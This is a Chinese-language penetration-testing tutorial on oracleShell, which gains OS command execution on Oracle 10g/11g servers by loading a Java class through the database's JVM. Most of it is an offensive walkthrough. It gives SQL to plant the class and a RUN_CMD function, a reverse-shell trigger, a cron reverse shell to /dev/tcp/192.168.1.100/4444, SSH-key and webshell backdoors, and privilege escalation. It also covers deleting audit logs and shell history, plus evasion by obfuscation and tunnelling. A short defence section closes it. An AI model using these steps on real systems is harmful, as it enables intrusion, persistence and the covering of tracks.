1. 项目概述与核心价值
最近在渗透测试和红队评估中,遇到Oracle数据库的频率依然很高。很多朋友一提到Oracle,第一反应就是“复杂”、“难搞”,尤其是涉及到利用漏洞进行命令执行时,往往被繁琐的配置和依赖环境劝退。今天,我就来详细拆解一个实战中非常高效的工具——oracleShell,并手把手教你如何配置和利用它,在特定版本的Oracle数据库上实现命令执行,最终拿下服务器权限。这不仅仅是工具的使用教程,更是对Oracle数据库安全机制的一次深度剖析。
oracleShell本质上是一个利用Oracle数据库内置Java支持(JVM)来执行系统命令的“武器化”工具。它的核心原理,是借助Oracle数据库对Java存储过程的支持,将恶意Java类加载到数据库服务器内存中并执行,从而绕过传统的网络层防护,直接在数据库服务器操作系统层面执行命令。这对于那些只开放了1521(Oracle默认端口)且防火墙规则严格的服务器来说,是一条非常隐蔽的攻击路径。接下来,我会从环境准备、漏洞原理、工具配置、实战利用到深度隐匿和痕迹清理,为你构建一个完整的攻击链认知。
2. 漏洞原理与前置知识深度解析
2.1 Oracle数据库的Java虚拟机(JVM)机制
要理解oracleShell为何能工作,必须深入Oracle数据库的架构。从Oracle 8i版本开始,数据库内部就集成了一套完整的Java虚拟机(OJVM)。这个设计初衷是为了让开发者能够在数据库内部运行Java程序,实现更复杂的业务逻辑,比如用Java编写存储过程、函数。这带来了便利,也引入了一个巨大的攻击面:如果攻击者能够向数据库注入并执行自定义的Java代码,那么他就能利用数据库服务进程(通常是oracle用户)的权限,执行操作系统命令。
关键在于权限。Oracle中执行Java代码需要JAVAUSERPRIV或更高的权限(如DBA)。在渗透测试中,我们获取的数据库连接账户往往具有DBA权限,或者通过其他漏洞(如SQL注入)提升到了DBA权限,这就为加载恶意Java类创造了条件。
2.2 命令执行的核心:dbms_java包与runjava工具
Oracle提供了一系列内置包来管理Java,其中dbms_java包是核心。攻击者可以通过SQL语句调用这个包中的函数,来操作JVM。oracleShell利用的关键函数之一是dbms_java.runjava,它能够执行指定的Java代码。但直接执行复杂功能受限,更常见的做法是先创建一个Java存储过程。
流程是这样的:
- 定义Java类:通过
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED语句,将Java源代码作为数据库对象创建。 - 发布为存储过程:使用
CREATE OR REPLACE PROCEDURE语句,将Java类中的方法包装成PL/SQL可调用的存储过程。 - 执行存储过程:最终通过调用这个存储过程来触发恶意Java代码的执行。
oracleShell工具将上述过程自动化了。它内置了编译好的恶意Java类(Shell.class),并通过特定的SQL语句将其加载到数据库中,然后创建对应的函数来调用这个类的方法,从而对外提供命令执行、文件浏览、反弹Shell等功能。
2.3 受影响版本与环境
根据项目README和大量实战案例,这个利用方式对Oracle 10g、11g版本尤为有效。在12c及以后版本中,由于安全机制的增强(如更严格的Java权限控制、PDB容器隔离等),利用难度会增大,但并非完全不可能,取决于具体的配置和权限。我们今天的实战环境以Oracle 11g R2 (11.2.0.1.0) 为例,这也是企业环境中存留较多的一个版本。
注意:此技术仅用于授权的安全测试、企业安全自查及教育学习目的。未经授权对他人系统进行测试是违法行为。
3. 攻击环境搭建与工具准备
3.1 实验环境拓扑
为了清晰地复现整个流程,我搭建了一个简单的实验环境:
- 攻击机 (Kali Linux):IP: 192.168.1.100。用于运行
oracleShell客户端、监听反弹Shell连接。 - 靶机 (CentOS 7 + Oracle 11g):IP: 192.168.1.200。安装有存在漏洞配置的Oracle 11g数据库,监听端口1521。
- 数据库凭据:通过前期信息收集或漏洞利用,我们获得了以下高权限账户:
system/password@192.168.1.200:1521/ORCL。
这个环境模拟了内网中一个常见的场景:一台服务器只开放了数据库端口,并且我们通过某种方式(如弱口令、漏洞)拿到了一个高权限的数据库连接。
3.2 工具获取与初步分析
首先,从GitHub(jas502n/oracleShell)下载工具包。解压后,你会看到以下几个关键文件:
oracleShell.jar: 这是核心的客户端程序,一个Java编写的图形化/命令行工具。README.md: 简要说明文件。Shell.java: 恶意Java类的源代码。理解它至关重要。- 几张效果截图。
我们先不急着运行Jar包,而是打开Shell.java源码看一看。代码结构清晰,定义了一个Shell类,包含run方法作为入口,根据传入的methodName执行不同操作:exec执行命令、list列出目录、getCurrentDir获取当前路径、connectBack反弹Shell。特别是connectBack方法,它根据操作系统类型启动/bin/sh或cmd.exe,并与攻击机指定的IP和端口建立Socket连接,实现一个交互式Shell。
这个Java类就是最终要植入到目标数据库中的“武器”。
3.3 攻击机基础依赖安装
oracleShell.jar是一个Java程序,运行它需要JRE(Java Runtime Environment)。同时,为了连接Oracle数据库,我们还需要Oracle的JDBC驱动(ojdbcjar包)。
安装Java:
# Kali/Debian/Ubuntu sudo apt update && sudo apt install default-jre -y # 验证安装 java -version获取Oracle JDBC驱动: 这是最容易卡住的一步。由于Oracle的授权限制,其JDBC驱动不能直接通过Maven中央仓库下载。你需要:
- 访问Oracle官方网站,下载对应你Oracle数据库版本的
ojdbcjar包(如ojdbc6.jarfor 11g)。 - 或者,如果你本地有Oracle客户端安装,可以在
$ORACLE_HOME/jdbc/lib/目录下找到它。 我将下载好的ojdbc6.jar放在了/opt/tools/oracle/目录下。
- 访问Oracle官方网站,下载对应你Oracle数据库版本的
运行
oracleShell: 由于工具需要指定classpath包含JDBC驱动,使用以下命令启动:java -cp “oracleShell.jar:ojdbc6.jar” com.abc.abc如果一切正常,你会看到一个简单的图形界面。但根据我的经验,图形界面在某些环境下可能不稳定。更可靠的方式是直接分析其通信逻辑,使用SQL命令行工具(如
sqlplus)配合生成的SQL语句进行利用,这也是我们后面会重点讲解的“手动利用”方法。
4. oracleShell工具配置与手动利用详解
4.1 图形界面模式初探与局限
运行上述命令启动GUI后,界面通常包含数据库连接配置(URL、用户名、密码)和功能按钮(执行命令、文件管理、反弹Shell等)。填入靶机的数据库信息点击连接,如果成功,工具会自动在后台执行一系列SQL语句来完成Java类的植入。
然而,在实际的渗透测试,特别是网络环境复杂的情况下,GUI工具可能遇到问题:
- 依赖问题:Classpath设置错误导致找不到驱动。
- 网络问题:工具直连可能被拦截或超时。
- 兼容性问题:Java版本或图形库不匹配。
- 隐蔽性差:GUI操作会留下明显的进程和网络连接特征。
因此,理解其背后的SQL语句,掌握手动利用方法,是成为一名合格渗透测试人员的必备技能。
4.2 核心SQL语句手动执行分析
我们直接剖析oracleShell工具会执行的本质操作。以下SQL语句需要在具有DBA权限的会话中执行(例如使用sqlplus system/password@192.168.1.200:1521/ORCL连接)。
步骤一:创建Java类这是最关键的一步,将Shell.class的字节码以16进制形式嵌入到SQL中,创建为数据库内的Java对象。
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED “Shell” AS import java.io.*; import java.net.*; public class Shell { // ... 此处是完整的Shell.java代码内容,需要原样粘贴 ... } /执行这条语句,Oracle会编译这段Java代码并在数据库中创建名为Shell的Java类。
步骤二:创建包装函数为了让PL/SQL能够调用Java类中的run方法,需要创建一个自定义函数作为桥梁。
CREATE OR REPLACE FUNCTION RUN_CMD(cmd IN VARCHAR2, encoding IN VARCHAR2) RETURN VARCHAR2 AS LANGUAGE JAVA NAME ‘Shell.run(java.lang.String, java.lang.String, java.lang.String) return java.lang.String’; /这个函数RUN_CMD接收两个字符串参数(命令和编码),然后调用Shell.run方法。
步骤三:执行命令测试创建成功后,就可以像调用普通SQL函数一样执行系统命令了:
SELECT RUN_CMD(‘whoami’, ‘UTF-8’) FROM DUAL;如果返回oracle或root(取决于Oracle服务的运行用户),恭喜你,命令执行成功了。
步骤四:实现文件列表和反弹Shell
文件列表:原理相同,调用
run方法,但第一个参数是’list’。SELECT RUN_CMD(‘list||/tmp||UTF-8’, ‘UTF-8’) FROM DUAL;注意:这里工具可能对参数进行了拼接处理。手动调用时,可能需要根据
Shell.run方法的逻辑调整。更稳妥的方式是再创建一个专用的list函数。反弹Shell:这是最强大的功能。首先在攻击机上用
nc监听一个端口:nc -lvnp 8989然后在数据库执行:
SELECT RUN_CMD(‘connectBack||192.168.1.100^8989’, ‘UTF-8’) FROM DUAL;如果成功,你将在
nc监听端获得一个来自数据库服务器的Shell会话。
4.3 自动化脚本编写
为了提高效率,我们可以将上述手动步骤编写成一个SQL脚本(deploy.sql):
-- 假设已经以DBA权限连接 -- 1. 创建Java类 CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED “Shell” AS ... (完整的Shell类代码) ... / -- 2. 创建命令执行函数 CREATE OR REPLACE FUNCTION RUN_CMD(cmd IN VARCHAR2) RETURN VARCHAR2 AS LANGUAGE JAVA NAME ‘Shell.exec(java.lang.String, java.lang.String) return java.lang.String’; / -- 3. 测试 SELECT RUN_CMD(‘id’) FROM DUAL;然后通过sqlplus执行:
sqlplus system/password@192.168.1.200:1521/ORCL @deploy.sql5. 实战利用:从命令执行到服务器控制
5.1 信息收集与权限判断
拿到命令执行权限后,第一步不是乱跑命令,而是冷静地收集信息,判断环境。
- 当前用户:
whoami。通常是oracle,也可能是root(如果安装时配置了特权)。 - 操作系统:
uname -a或cat /etc/issue。 - 网络信息:
ifconfig或ip addr。查看内网网段,为横向移动做准备。 - 进程与服务:
ps auxf。查看有哪些其他服务,寻找突破口。 - 数据库自身信息:
SELECT * FROM v$version;确认精确版本。
5.2 文件系统操作与后门部署
通过list功能或直接使用命令(ls -la /home),可以浏览文件系统。常见的敏感目录包括:
/home/oracle:Oracle用户的家目录,可能有数据库连接配置文件(tnsnames.ora)、脚本、历史记录(.bash_history)。/tmp:临时目录,通常可写,用于存放后续工具。/etc:系统配置文件。
部署持久化后门:
- 写入SSH公钥:如果
/home/oracle/.ssh/目录存在且可写。# 在攻击机生成密钥对 ssh-keygen -t rsa -f oracle_key # 将公钥内容通过echo命令写入靶机的authorized_keys # 需要先将公钥内容进行编码或分段写入,避免特殊字符问题 - 创建计划任务:Linux下使用
crontab -e(需要当前用户有cron权限)。# 添加一个每10分钟连接一次的反向Shell (crontab -l 2>/dev/null; echo “*/10 * * * * /bin/bash -c ‘/bin/bash -i >& /dev/tcp/192.168.1.100/4444 0>&1’”) | crontab - - 植入WebShell:如果服务器同时运行Web服务(如Apache、Nginx),找到Web根目录(如
/var/www/html),写入一个简单的JSP或PHP Webshell。
5.3 权限提升与横向移动
如果当前是oracle用户,我们的目标是获取root权限。
- 内核漏洞提权:使用
uname -r查看内核版本,搜索对应的本地提权(LPE)漏洞。可以上传预编译的exp(如dirtycow、CVE-2021-4034等)并执行。 - SUID/GUID文件检查:运行
find / -perm -4000 -type f 2>/dev/null,查找具有SUID位的文件,看看是否有find、vim、bash等可被利用。 - 数据库特权滥用:Oracle的
oracle用户有时属于dba组,可能拥有某些特权。检查/etc/sudoers文件:sudo -l。 - 横向移动:利用从当前服务器收集到的密码、密钥或凭据,尝试连接同一网段的其他数据库或服务器。可以使用
nmap、hydra等工具(需要先上传到靶机)。
5.4 利用反弹Shell进行交互式控制
通过connectBack获得的Shell往往是“哑”Shell(没有TTY),功能受限(无法使用su、sudo、vi等)。需要进行TTY升级:
# 在获得的反弹Shell中执行 python -c ‘import pty; pty.spawn(“/bin/bash”)’ # 或者 script /dev/null -c bash # 然后按 Ctrl+Z 挂起,在攻击机终端输入: stty raw -echo; fg # 最后重置终端并设置环境变量 reset export TERM=xterm-256color export SHELL=bash现在你就获得了一个功能完整的交互式Shell。
6. 深度隐匿、痕迹清理与防御建议
6.1 攻击痕迹清理
一次专业的渗透测试,在取得目标后,需要清理痕迹,避免被蓝队轻易发现。
- 数据库日志:Oracle的审计日志位置在
$ORACLE_BASE/admin/$ORACLE_SID/adump/和$ORACLE_HOME/rdbms/audit/。检查并删除相关.aud文件。但需谨慎,全删可能触发告警。 - 操作系统命令历史:清除当前会话的历史记录。
history -c && history -w # 或者直接清空文件 echo > ~/.bash_history - 删除创建的数据库对象:测试结束后,删除植入的Java类和函数。
DROP FUNCTION RUN_CMD; DROP JAVA SOURCE “Shell”; - 删除上传的工具文件:清理
/tmp或其他目录下上传的exp、扫描器等文件。
6.2 绕过检测与持久化技巧
- 代码混淆:将
Shell.java中的类名、方法名、字符串进行混淆,避免特征检测。 - 分段加载:不一次性执行大段Java代码,而是将字节码分段写入多个
BLOB字段,再组合执行,绕过简单的SQL注入防护或WAF对长字符串的检测。 - 利用合法函数:研究Oracle内置的
UTL_FILE、DBMS_ADVISOR等包,看是否能间接执行命令或读写文件,这比自定义Java类更隐蔽。 - 内存执行:尽量不向磁盘写入文件,所有操作在内存中完成。反弹Shell的流量可以加密,或使用DNS、ICMP等协议隧道进行传输。
6.3 针对此攻击的防御建议
作为防御方,如何防范此类攻击?
- 最小权限原则:严格限制数据库用户的权限。非必要不给
DBA权限。对于应用账户,坚决禁止拥有JAVAUSERPRIV、CREATE PROCEDURE等危险权限。 - 关闭不必要的功能:如果业务用不到Java存储过程,考虑禁用Oracle JVM。
-- 需要SYSDBA权限 REVOKE JAVASYSPRIV FROM PUBLIC; ALTER SYSTEM SET java_permissions = FALSE SCOPE=SPFILE; -- 重启数据库生效 - 加强审计与监控:启用数据库审计,重点监控
CREATE JAVA、CREATE PROCEDURE、对dbms_java包的调用等操作。结合SIEM系统,设置告警规则。 - 网络隔离:数据库服务器应置于内网,严格限制访问源。1521端口不应直接对互联网开放。
- 定期漏洞扫描与更新:及时安装Oracle发布的安全补丁(CPU)。使用专业的安全工具对数据库进行基线检查和漏洞扫描。
- 入侵检测:在数据库服务器上部署HIDS(主机入侵检测系统),监控异常进程创建(如从
oracle用户启动/bin/sh)、网络外连等行为。
7. 常见问题排查与实战心得
7.1 连接与权限问题
- 问题:
sqlplus连接失败,报错ORA-12541: TNS:no listener。- 排查:目标数据库监听服务未启动,或防火墙拦截。确认端口
1521是否开放:nc -zv 192.168.1.200 1521。
- 排查:目标数据库监听服务未启动,或防火墙拦截。确认端口
- 问题:连接成功,但执行创建Java语句时报错
ORA-29540: class Shell does not exist或权限不足。- 排查:当前用户没有
CREATE PROCEDURE或JAVAUSERPRIV权限。尝试使用SYSTEM、SYS等更高权限账户。可以通过SELECT * FROM USER_ROLE_PRIVS;查看当前权限。
- 排查:当前用户没有
- 问题:
RUN_CMD函数创建成功,但执行命令返回空或报错。- 排查:
- 命令本身执行失败。尝试执行简单命令如
echo test。 - Oracle JVM执行外部命令受到策略限制。检查Java安全策略文件。
- 输出编码问题。尝试不同的编码参数,如
GBK、ISO-8859-1。
- 命令本身执行失败。尝试执行简单命令如
- 排查:
7.2 反弹Shell失败
- 问题:
connectBack执行后,攻击机nc没有收到连接。- 排查:
- 网络可达性:确保从靶机到攻击机IP:端口的路由是通的,且没有防火墙拦截出站连接。可以在靶机上用
/bin/bash -c ‘cat < /dev/tcp/192.168.1.100/8989’测试TCP连接(如果bash版本支持)。 - 命令语法:
oracleShell使用的分隔符是^,确保拼接的参数字符串格式正确:’connectBack||192.168.1.100^8989’。 - 靶机出站限制:服务器可能禁止了任意端口的出站连接,只允许访问特定IP或端口(如53、80、443)。尝试反弹到这些常见端口。
- Java安全策略:Oracle JVM可能禁止网络连接。这通常需要更复杂的绕过手段。
- 网络可达性:确保从靶机到攻击机IP:端口的路由是通的,且没有防火墙拦截出站连接。可以在靶机上用
- 排查:
7.3 实战心得与技巧
- “手动”优于“自动”:图形化工具虽然方便,但在复杂、受限的网络环境中,手动执行SQL脚本的可靠性更高,也更利于理解原理和调试。
- 善用编码绕过:有时WAF或IDS会检测特定的SQL关键词(如
CREATE JAVA)。可以尝试对SQL语句进行十六进制编码、注释混淆等绕过。 - 准备多种JDBC驱动:不同版本的Oracle数据库可能需要不同版本的
ojdbc驱动(如ojdbc5.jar、ojdbc6.jar、ojdbc8.jar)。随身备齐。 - 时间延迟判断:如果命令执行没有回显,可以使用
ping或sleep命令通过时间延迟来判断是否执行成功(盲注思想)。例如:RUN_CMD(‘sleep 5’)。 - 保持低调:在内网中,避免进行大规模端口扫描或暴力破解,这些行为很容易触发安全告警。先利用已获取的权限进行小范围、精准的信息收集。